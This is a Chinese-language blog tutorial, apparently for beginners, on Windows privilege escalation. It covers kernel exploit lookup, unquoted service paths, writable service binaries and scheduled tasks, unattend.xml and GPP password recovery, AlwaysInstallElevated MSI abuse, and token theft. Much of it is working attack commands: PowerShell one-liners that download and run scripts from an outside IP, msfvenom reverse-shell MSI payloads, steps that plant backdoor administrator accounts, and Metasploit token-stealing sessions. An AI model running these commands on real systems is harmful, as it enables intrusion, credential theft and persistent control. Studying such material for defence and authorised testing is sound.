我的Freebuf:https://www.freebuf.com/author/MrAnonymous
我的博客:https://whoamianony.top/
文章目录
在Windows中,有User、Administrator、System、TrustedInstaller这四种用户权限,其权限从左到右依次升高。而我们在一般的实战中,获得的权限较低,低权限将使渗透测试受到很多的限制。这就要求我们将当前权限提升到足以满足我们要求的高权限。
权限提升的方式大概有以下两类:
- 纵向提权:低权限用户获得高权限角色的权限。
- 横向提权:获得同级别角色的权限。
常用的提权方法有Windows系统内核溢出漏洞提权、错误的系统配置提权、数据库提权等等。下面我们对常用的几种提权的方法进行逐一演示。
本文专为小白所写,内容较为基础且丰富,大佬可以路过还望多多点评哦。
Windows系统内核溢出漏洞提权
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
下面演示提权过程。
1. 手动查找系统潜在漏洞
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo
或
wmic qfe get caption,description,hotfixid,installedon
可以看到系统就装了这几个补丁。攻击者会通过没有列出的补丁号,寻找相应的提权EXP,例如KiTrap0D和KB979682对应、MS10-021和KB979683对应等等。然后使用目标机上没有的安装的补丁号对应的EXP进行提权。Windows不同系统提权的漏洞和相应的补丁请见:点我呀。
2. 自动查找系统潜在漏洞
方法一:Windows Exploit Suggester
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。
使用如下:
首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls
python2 windows-exploit-suggester.py --update
然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:
systeminfo > sysinfo.txt
最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt
如上图,执行后,给出了一堆目标系统存在的漏洞(毕竟是靶机嘛~~~)
方法二:local_exploit_suggester 模块
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。
使用如下,假设我们已经获得了目标主机的一个session:
use post/multi/recon/local_exploit_suggester
set session 1
exploit
如上图,该模块快速识别并列出了系统中可能被利用的漏洞,十分方便。但虽然如此,也并非所有列出的local exploits都可用。
方法三:enum_patches 模块
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:
use post/windows/gather/enum_patches
set session 1
exploit
在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。
下载地址:https://github.com/rasta-mouse/Sherlock
该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行
Import-Module 目录\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令
3. 选择漏洞并利用
查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是CVE-2018-8120。
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)
- Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
- Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
- 各大平台提权工具:https://github.com/klsfct/getshell
执行:
如上图,再执行提权程序之前,为普通用户whoami权限,执行后为system权限。msfconsole上完整操作如下:
Windows系统错误配置漏洞提权
在Windows系统中,攻击者通常会通过系统内核溢出漏洞来提权,但是如果碰到无法通过系统内核溢出漏洞提权的情况时,会可以利用系统中的错误配置漏洞来提权。下面演示几种常见的Windows系统错误配置漏洞提权方法。
Trusted Service Paths漏洞(可信任服务路径漏洞)
Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。
首先,我们来认识一下Windows中文件路径解析的特性。例如,我们有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。如上面的目录为例,Windows会依次尝试确定和执行一下程序:
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
可见,最后才确定并执行真正的程序Service.exe。而由于Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行,那么,如果我们将一个“适当命名”的可执行程序上传到以上所说的受影响的目录中,服务一旦启动或重启,该程序就会以system权限运行了,可见该漏洞利用了服务路径的文件/文件夹的权限。
该漏洞是由于一个服务的可执行文件没有正确的处理所引用的完整路径名,即一个服务的可执行文件的完整路径中含有空格且没有被双引号引起来,那么该服务就存在这个漏洞。下面演示该漏洞利用方法。
首先,我们可以用以下命令列出目标主机中所有存在空格且没有被引号括起来服务路径:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
如上图,可以看到“whoami”和“Bunny”这两个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。
这里我们使用Windows中的icacls命令,依次来检查“C:\”、“C:\Program Files\Program Folder”等目录的权限发现只有“C:\Program Files\program folder”目录有Everyone(OI)(CI)(F):
参数说明:
- “M”表示修改
- “F”代表完全控制
- “CI”代表从属容器将继承访问控制项
- “OI”代表从属文件将继承访问控制项。
这就意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。
sc stop <service_name>
sc start <service_name>
既然要重启服务,那么我们就可以知道,该提权方法需要管理员权限,重启服务的方法适用于从管理员权限到system的权限提升过程。而实际情况下,我们直接对目标主机执行“shutdown -r -t 0”命令让他重启就行了。
我们生成一个msf马并重命名为Hello.exe上传到该“C:\Program Files\Program Folder”目录下,然后分别执行如下命令重启该WhoamiTest服务:
sc stop WhomaiTest
sc start WhomaiTest
如下图完整利用过程:
可知提权前为管理员权限(liukaifeng01),提权成功后我们得到一个system权限的session。
这里要注意,新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程:
该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path,使用如下:
(在之前的metasploit中为exploit/windows/local/trusted_service_path,但在新版的metasploit中替换替换成了exploit/windows/local/unquoted_service_path)
use exploit/windows/local/unquoted_service_path
set session 1set AutoRunScript migrate -fexploit
如上图,提权成功。
系统服务错误权限配置漏洞
Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。**Windows 服务是以System权限运行的,因此,其文件、文件夹和注册表键值都是受强访问控制机制保护的。**但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。
该漏洞利用有以下两种情况:
- 服务未运行:攻击者会使用任意服务直接替换原来的服务,然后重启服务。
- 服务正在运行且无法终止:这种情况符合绝大多数漏洞利用的场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
1. 利用PowerUp.ps1脚本
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
这里我们利用一个Powershell的脚本——PowerUp,该脚本的AllChecks模块会检测目标主机存的Windows服务漏洞,然后通过直接替换可执行文件本身来实现权限的提升。
AllChecks模块的通常应用对象如下:
- 没有被引号引起来的服务的路径。
- 服务的可执行文件的权限设置不当
- Unattend.xml文件
- 注册表键AlwaysInstallElevated
将该脚本远程下载或本地导入后,执行Invoke-AllChecks命令进行漏洞检测
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/PowerUp.ps1');Invoke-ALLChecks"
如上图,可以看到PowerUp列出了所有可能存在该漏洞的服务的信息,并在AbuseFunction部分直接给出了利用方式。我们可以看到,目标主机的WhoamiTest服务可能存在该漏洞,然后我们再用icacls命令来测试该服务的可执行文件目录的“C:\Program Files\Program Folder\Hello Whoami\whoami.exe”文件是否有写入权限:
icacls "C:\Program Files\Program Folder\Hello Whoami\whoami.exe"
如上图,可以看到我们对whoami.exe文件是有完全控制权的,那么我们就可以直接将whoami.exe替换成我们的msf马,当服务重启时,我们就会得到一个System权限的meterpreter。
这里,我们用“AbuseFunction”那里已经给出的具体操作方式,执行如下。
将原来的服务可执行文件备份,并用一个可添加管理员用户的恶意可执行文件代替它,默认添加的用户名为join,密码为Password123!:
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/PowerUp.ps1');Install-ServiceBinary -ServiceName 服务名
接下来停止并再启动该服务的时候,但由于我们当前是普通用户,我们没有权限重启服务,所以我们可以等目标系统重启,我们通过msf控制目标机执行“shutdown -r”命令来重启,重启后即可成功创建join用户:
添加指定的管理员用户:
Install-ServiceBinary -ServiceName 服务名 -UserName Bunny -Password Liufupeng123
执行命令:
Install-ServiceBinary -ServiceName 服务名 -Command "whoami" // -Command后加要执行的命令
2. Metasploit中的service_permissions模块
该漏洞提权在metasploit上面对应的模块为exploit/windows/local/service_permissions:
如上图,该模块有两个可以设置的选项,其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。演示如下:
(别忘了迁移进程哦~~)
计划任务与AccessChk使用
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行我们的恶意程序。下面详细的进行演示。
首先可以利用如下命令查看计算机的计划任务:
schtasks /query /fo list /v
schtasks /query /fo list /v > schtasks.txt
如上图,我们可以看到,在 C:\Program Files\schtasks\whoami目录有一个test.exe程序,它会在一个时间点自动运行,它会在计算机每次启动时运行,并且是用SYSTEM权限运行的。然后让我们看下我们对这个计划任务的路径是否有写入权限。
我推荐使用AccessChk工具,其为SysInterals套件里的一个工具,常用于Windows中进行一些系统或程序的高级查询、管理和排除故障等。AccessChk是微软官方的工具,一般不会引起杀软的报警没所以常会被攻击者利用下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
执行以下命令,查看指定目录的权限配置情况:
accesschk.exe -dqv "C:\Program Files\schtasks\whoami" -accepteula
可以清楚地看到,这里有一个很严重的配置错误,对于这个计划任务“test”来说,这里不仅用了system权限来运行,更糟糕的是,任何经过身份验证的用户(Authenticated Users)都对这个文件夹有写入的权限。所以,我们可以生成一个木马,做一个后门就可以了,在本次演示例子中,我们可以简单的用msf木马覆盖掉原来的“test.exe”,如下图我们将原来的test.exe备份后,上传我们自己生成的“test.exe”(msf木马):
然后重开一个msfconsole,设置好监听,接下来对目标机执行重启命令“shutdown -r -t 0”让其重新启动:
重新启动目标主机后,在另一个msfconsole上面即可得到system权限的session:
成功。
AccessChk使用
通过上面的例子,我们可以看出accesschk称得上是查找有权限配置缺陷文件夹的必备工具,下面是accesschk的一些其他使用实例。
当第一次执行任何sysinternals工具包里的工具时,当前用户将会看到一个最终用户许可协议弹框,这是一个大问题,然而我们可以添加一个额外的参数“/accepteula”去自动接受许可协议,即:
accesschk.exe /accepteula
Accesschk可以自动的检查当我们使用一个特定的用户时,我们是否对Windows的某个服务有写的权限。当我们作为一个低权限用户,我们首先就想要看一下“Authenticated Users”组对这些服务的权限。
找出某个驱动器下所有权限配置有缺陷的文件夹路径
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
找出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
如上图可以看到对这个目录下的每一个文件它都列出了Authenticated Users用户组的权限,R为读权限,W为写权限,RW表示有读写权限,如果前面为空则表示没有权限。
根据前面这几个提权的思路,当我们检查文件或文件夹权限的时候,需要考虑哪些点事易受攻击的点。你需要花费时间来检查所有的启动路径,Windows服务,计划任务和Windows启动项等。
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下:
- C:\sysprep.inf
- C:\syspreg\sysprep.xml
- C:\Windows\system32\sysprep.inf
- C:\windows\system32\sysprep\sysprep.xml
- C:\unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\System32\Sysprep\Unattend.xml
- C:\Windows\System32\Sysprep\Panther\Unattend.xml
全盘搜索Unattend文件是个好办法,可以用以下命令来全盘搜索Unattend.xml文件:
dir /b /s c:\Unattend.xml
- /S:显示指定目录和所有子目录中的文件。
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作系统时使用的凭据信息,这些信息可以帮助我们提权。
打开文件之后格式为xml格式然后可以进行搜索User
、Accounts
、UserAccounts
、LocalAccounts
、Administrator
、Password
或者经过base64加密的密码,因为我们只需要这部分,例如:
......
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
......
在这个Unattend文件中,我们可以看到一个本地账户被创建并加入到了管理员组中。管理员密码没有以明文形式显示,但是显然密码是以Base64进行编码的。
echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
解密得密码为"P@ssword123!Password",但是微软在进行编码前会在Unattend文件中所有的密码后面都追加"Password",所以我们本地管理员的密码实际上是"P@ssword123!"。
1. 在Metasploit中利用的相应模块
该漏洞提权在metasploit上面对应的模块为 post/windows/gather/enum_unattend
。这个模块仅仅只是搜索Unattend.xml文件,然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之,这个模块就是全盘搜索Unattend.xml文件并读取出管理员账户密码。
2. PowerUp中利用的模块
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.101.219.210/powerup.ps1');Get-UnattendedInstallFile"
AlwaysInstallElevated注册表键提权
注册表AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以system权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer)文件。
利用AlwaysInstallElevated提权是一个2017年公开的技术,Metasploit和PowerUp都提供了利用方法,然而我在学习3gstudent的AlwaysInstallElevated提权时,他说过Metasploit生成的payload会由于Metasploit的某些原因会导致权限不够,所以只能去尝试其他的方法了。
先来说一下Windows Installer,Windows Installer 是Windows系统的组件之一,专门用来管理和配置软件服务。Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,他们是一起工作的。Windows Installer通过Msiexec.exe来安装MSI文件中包含的程序。MSI是微软格式的安装包,一般是程序的安装软件,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用。
PathAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
组策略——用户配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
想查询这两个键值最简单的方法就是使用内建的命令:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1. PowerUp.ps1 下的实战利用
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
我们先使用PowerUp.ps1脚本的Get-RegistryAlwaysInstallElevated模块来检查相关注册表是否被设置:
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powerup.ps1');Get-RegistryAlwaysInstallElevated
如下图显示“true”则表示AlwaysInstallElevated注册表已经被设置:
这就意味着MSI文件是以System权限运行的。如果返回的是“false”,则说明AlwaysInstallElevated注册表未被设置,我们可以用以下命令进行设置,进行注册表写入启动AlwaysInstallElevated:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
此时再执行powerup.sp1脚本就会发现返回true了。
接下来运行Write-UserAddMSI模块,将在当前目录生成MSI文件(msi文件内包含要执行的Payload,Payload将会以System权限执行):
这时,以普通用户权限运行UserAdd.msi,就会添加一个管理员账户。执行msiexec /q /i UserAdd.msi
时会弹出一个对话框,用来添加一个管理员用户:
msiexec相关参数解释如下:
/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/q:隐藏安装界面
/i:安装程序
如下图所示,成功添加一个名为backdoor的管理员用户:
注意:
C:\windows\installer\xxxx.tmp
和c:\windows\installer\xxxx.msi
:xxxx.msi就是你当前运行的msi文件,它会保存在c:\windows\installer\
下,当运行完关闭cmd之后,会留下一个xxxx.tmp,记录了安装操作,然后C:\Users\dell\AppData\Local\Temp
缓存中也会保存xxxx.log日志文件如果是域用户的话还需要请求域控制器通过才可以进行
Metasploit 下的利用
Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated
,可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件。
如上图成功获取system权限。
Metasploit 下的实战利用除了exploit/windows/local/always_install_elevated
模块外,还有以下制作.msi文件的操作。
生成弹出计算器的msi文件,命令如下:
msfvenom -p windows/exec CMD=calc.exe -f msi > calc.msi
msfvenom -p windows/exec CMD=<命令> -f msi > calc.msi
运行后生成test.msi,双击可以直接安装(普通用户权限下),如图,弹出计算器
并且该计算器是以system权限运行的:
还可以使用以下方法直接生成msi格式的payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 –f msi -o shell.msi
并在用户的现有Meterpreter会话中,让我们将名为shell.msi的MSI文件上传到目标计算机。成功上传后,我们先开启一个新的msf监听,然后跳转到shell中执行MSI包文件:
msiexec /quiet /qn /i shell.msi
/ quiet=在安装期间禁止向用户发送任何消息
/ qn=无GUI
/ i=常规(与管理)安装
执行后,新开启的监听中即可获得system权限的session。
MSI Wrapper工具下的利用
下载地址:https://www.exemsi.com/download/
MSI Wrapper是一个强大的MSI安装包的生产工具。它有一个友好的图形用户界面,操作简单直观,各种功能齐全,不需要任何知识的脚本可以产生满足要求的Windows安装程序安装程序。
(1)将Payload设置为执行shell.exe(一个msf马):
(2)设置为运行时要求提升权限:
Application Id随便选:
其他配置按照默认设置即可,最后在你设置的output目录中生成了shell.msi
将生成的shell.msi上传到目标主机中,并开启一个新的msf监听,然后在shell中执行开shell.msi文件:
如上图,成功获得system权限。
对于该漏洞,通常情况下,先对注册表项进行判断,如果满足条件(存在两个注册表项),就可以利用AlwaysInstallElevated提权了。
Windows组策略首选项提权
SYSVOL是活动目录里面的一个用于存储公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户范围内共享,都可以读取。整个SYSVOL目录在所有的域控制器中是自动同步共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies\
目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会利用组策略去批量修改本地管理员密码。但是这样就会出现一个问题,所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码,黑客就可以获取他们所有机器的管理权限。
**管理员在域中新建一个组策略批量修改域中机器的本地管理员密码后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。**该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。由于任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。
我们可以在SYSVOL中搜索包含cpassword获取组策略的凭据。
如上图可以看到其中的cpassword项,保存的是加密后的内容,加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:
https://msdn.microsoft.com/en-us/library/cc422924.aspx
借助该私钥,我们就能还原出明文。
PowerShell 下的利用
即PowerSploit中的Get-GPPPassword.ps1脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的明文密码,这里不仅找到了包含cpassword获取组策略的凭据,并且将其中AES 256加密的明文密码还原了出来。
注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。
使用方法如下:
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword
Metasploit下的利用
Metasploit下的相关模块为post/windows/gather/credentials/gpp,该模块可以获取组策略中的密码。
use post/windows/gather/credentials/gpp
set session xxx
exploit
Windows 令牌窃取
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许某次请求和判断某次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌除非系统重新启动,否则将持续存在于系统中。令牌最大的特点就是随机性,不可预测,一般的黑客攻击者或软件无法猜测出令牌。
令牌(Token)有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
伪造令牌攻击的核心是Kerberos协议。Kerberos认证过程详情请见大佬文章:https://www.jianshu.com/p/13758c310242,这里写的十分详细了。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
Metasploit下的令牌窃取
需要我们已经获取了目标主机一个administrator权限的meterpreter,需要提前至system,我们可以用metasploit的incognito模块窃取令牌。
如下,输入use incognito
来先加载incognito模块,然后输入list_tokens -u
命令即可列出可用的访问令牌:
可以看到,这里的Windows访问令牌有两种类型:
Delegation Token:授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。
**注:**两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效。
这里,我们可以看到列出了三个授权令牌,我们执行如下命令,就可以伪造NT AUTHORITY\SYSTEM令牌,来模拟SYSTEM用户了:
impersonate_token "NT AUTHORITY\SYSTEM"
注意:list_tokens -u
命令列出的令牌取决于你获得的meterpreter的访问级别,这里我们测试的是管理员权限到system权限,如果我们获取的用户不是管理员而是普通用户权限,也有可能列出相应的高权限令牌。
此外,我们还可以利用steal_token <pid>
命令从相应的进程中窃取令牌。先执行ps
找到User为SYSTEM或管理员的进程,并记下其进程的PID,然后执行steal_token <pid>
:
Metasploit incognito模块的相关命令如下:
getuid # 查看当前令牌(token)
use incognito # 加载incognito模块
list_tokens -u # 列出访问令牌
impersonate_token "NT AUTHORITY\\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 # 从进程窃取token
getsystem # 提升至system权限
rev2self # 返回到之前的AccessToken权限
incognito.exe工具下的令牌窃取
下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
incognito.exe工具也可以用来进行令牌窃取。
首先在目标主机上上传incognito.exe:
然后进入shell,执行如下命令列举存在的访问令牌:
incognito.exe list_tokens -u
然后我们就可以通过执行如下命令窃取令牌来模拟其他用户:
incognito.exe execute -c "完整的Token名称" <要执行的命令>
例如执行whoami命令:
incognito.exe execute -c "完整的Token名称" whoami
例如:模拟SYSTEM权限用户:
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
但是这里由于我们是在meterpreter的shell中执行的系统命令,其没有回显(时间好长啊),我们可以直接上传一个msf马和incognito.exe,然后利用窃取的令牌所获得的system权限来执行我们所上传的msf马,从而从新获得一个system权限的meterpreter,如下图,成功获得了一个system权限的meterpreter:
Rotten Potato工具下的令牌窃取
下载地址:https://github.com/foxglovesec/RottenPotato
我们也可以通过Rotten Potato工具快速的窃取用户的访问令牌来模拟用户实现权限提升。
Rotten Potato工具的目录中有一个rottenpotato.exe,在运行该二进制文件后,可以快速模拟令牌。
首先上rottenpotato.exe上传到目标主机中:
然后在meterpreter中分别执行如下命令来模拟出system用户的令牌:
execute -HC -f ./rottenpotato.exe # 执行rottenpotato.exe程序
impersonate_token "NT AUTHORITY\\SYSTEM"
PowerShell下的令牌窃取
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本。
首先执行如下命令列举token:
IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate
如上图,成功列举出了token。然后执行如下命令窃取system的token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"
如上图,执行命令后,成功弹出了一个system权限的shell。
不仅如此,我们还可以从进程中窃取令牌token,首先查看高权限的进程:
然后执行如下命令从进程中
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 2504
如下图,成功:
利用令牌获得TrustedInstaller权限
有时候,在Windows系统中即使获得了管理员权限和SYSTEM权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller
权限。
例如C:\Windows\servicing
路径,即使使用SYSTEM权限也无法在该路径进行读写文件:
当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,位置位于C:\Windows\servicing\TrustedInstaller.exe
,我们可以用Get-Acl
查看该程序的权限:
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner
Powershell中有一个Get-Acl命令,这个命令是用来获取资源安全描述的命令,可以用来查看文件的权限。
我们可以看到该程序的权限(所属用户)为NT SERVICE\TrustedInstaller。
那我们的思路就是,借用TrustedInstaller.exe的token令牌创建子进程,这样子进程就有了TrustedInstaller权限。
思路如下:
启动服务TrustedInstaller
使用incognito获取TrustedInstaller.exe的token
获得TrustedInstaller权限
(1)在metasploit的incognito模块下测试(已获得一个管理员权限的meterpreter)
首先进入shell启动TrustedInstaller服务:
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
然后执行如下即可:
use incognito
ps # 找到TrustedInstaller的进程PID,这里为2180
steal_token <PID> # 从该进程中窃取令牌
getuid
可以看到在窃取TrustedInstaller的令牌前,对C:\Windows\servicing目录没有写权限:
而窃取TrustedInstaller的令牌后,对C:\Windows\servicing目录就有了写权限:
(2)在PowerShell 下使用Invoke-TokenManipulation.ps1脚本测试
代码执行如下:
sc.exe start TrustedInstaller # 启动TrustedInstaller服务
$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
IEX(New-Object Net.WebClient).DownloadString('http://39.101.219.210/powersploit/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id
窃取TrustedInstaller的令牌后,对C:\Windows\servicing目录就有了写权限:
这里,在成功窃取TrustedInstaller的令牌后会发现自己的权限仍是NT AUTHORITY\SYSTEM,这是因为TrustedInstaller权限也会显示为NT AUTHORITY\SYSTEM,执行下面这个命令:
whoami /groups | findstr TrustedInstaller
